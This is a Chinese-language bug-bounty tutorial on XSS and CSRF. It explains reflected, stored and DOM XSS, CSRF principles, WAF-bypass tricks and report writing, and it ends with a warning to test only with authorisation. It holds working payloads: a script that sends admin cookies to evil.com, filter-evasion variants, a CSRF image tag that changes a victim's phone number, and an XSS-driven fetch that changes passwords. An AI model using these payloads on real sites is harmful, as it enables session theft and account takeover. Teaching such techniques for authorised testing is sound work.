【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术

【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术 上期回顾我们扒光了目标的资产情报收集。本期开始我们要对这些目标进行“物理超度”——哦不是合法的安全测试。今天的主角是 Web 漏洞界的“哼哈二将”XSS​ 和CSRF。一、为什么这俩货这么重要很多新手觉得 XSS 是“弹个框就没用了”那是你不会玩。XSS跨站脚本相当于你在别人家的墙上涂鸦植入JS。CSRF跨站请求伪造相当于你伪造了别人的签名Cookie去银行取钱。在SRC里一个存储型XSS进后台往往意味着服务器权限Getshell的大门已开。二、XSS从“弹窗”到“接管后台”1. 三种形态各有千秋类型别名危害等级特点反射型​非持久化低/中需要诱导管理员点击链接钓鱼。存储型​持久化高​插进数据库。每次访问页面自动触发专杀后台管理员。DOM型​前端漏洞中不走服务器前端JS处理不当导致。2. 实战案例后台管理员的“噩梦”场景某论坛发帖功能存在存储型XSS。Payload攻击载荷script // 窃取管理员Cookie var img new Image(); img.src http://evil.com/log? document.cookie; /script发生了什么你把这段代码发在帖子正文。管理员在后台查看帖子列表。管理员的 Cookie 瞬间发送到了你的服务器evil.com。你拿着管理员的 Cookie用浏览器插件如 EditThisCookie替换自己的 Cookie。结果你不用密码直接以管理员身份登录后台。3. 绕过WAF的“猥琐流”技巧现在的防火墙WAF都很聪明直接插script会被拦截。我们需要变形大小写混淆ScRiPtalert(1)/ScRiPt闭合标签svg onloadalert(1)编码绕过\u003cscript\u003e(Unicode编码)利用HTML5特性details open ontogglealert(1)SRC加分项如果你能绕过厂商的WAFWeb应用防火墙实现XSS厂商通常会给你更高的评分因为这证明了他们的防御体系有缺陷。三、CSRF借刀杀人的艺术1. 核心原理浏览器的小秘密浏览器会自动携带当前网站的 Cookie。如果你的浏览器里保存了bank.com的登录状态你打开了一个恶意网站evil.com这个网站里有个表单是向bank.com转账的浏览器会傻乎乎地带着你的Cookie去执行转账。2. 实战案例改绑手机号场景某SRC站点修改绑定手机的接口如下https://example.com/user/changePhone?phone13800138000userId1001漏洞点该接口没有验证“原手机号验证码”也没有 Token 验证。攻击步骤你构造一个恶意页面attack.htmlbody !-- 偷偷发起请求 -- img srchttps://example.com/user/changePhone?phone你的手机号userId1001 /body诱骗受害者或者自己切换账号测试在登录状态下访问attack.html。结果受害者的账号手机号被悄悄改成了你的手机号。你可以通过“找回密码”直接接管他的账号。3. 防御与绕过防御Referer 校验、CSRF Token、验证码。绕过Referer绕过如果后端只校验contains(example.com)你可以把文件名改成example.com.html放在你的服务器上。Token绕过如果Token生成算法可预测或者Token未绑定Session。四、XSS CSRF 王炸单独的XSS或CSRF可能已经修好了但如果组合起来呢案例某站有反射型XSS但没有CSRF Token。你可以构造一个链接用户一点击不仅执行了XSS还利用XSS发起了一个AJAX请求CSRF偷偷把用户的密码改了。// XSS Payload 中包含 CSRF 攻击 fetch(/user/changePassword, { method: POST, body: newPwdHacked123, credentials: include // 携带Cookie });五、SRC报告撰写Tips写报告时别只说“这里有XSS”。Badscriptalert(1)/script弹窗了。Good“由于未过滤特殊字符导致存储型XSS攻击者可通过此漏洞窃取管理员Session进而控制后台服务器造成数据泄露。”六、互动与思考漏洞类型核心利用点防御手段XSS​前端JS执行转义输出 (HtmlSpecialChars)CSRF​利用浏览器自动带CookieCSRF Token, SameSite Cookie 互动话题大家在挖洞时有没有遇到过那种“明明弹窗了但是厂商说不收”的情况或者遇到过哪些奇葩的WAF拦截规则欢迎吐槽⚠️ 法律红线警示严禁在未授权情况下对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作如改密码、转账。测试 XSS 时建议使用alert(document.domain)或console.log作为证明不要窃取他人的 Cookie 进行登录。所有实验请在本地靶场如DVWA,XSS Challenges中进行。技术无罪人心有善恶。守住底线做正义的白帽子。下一期我们将进入SQL注入​ 的世界揭秘如何“脱裤”拖库。准备好你的 SQLMap 了吗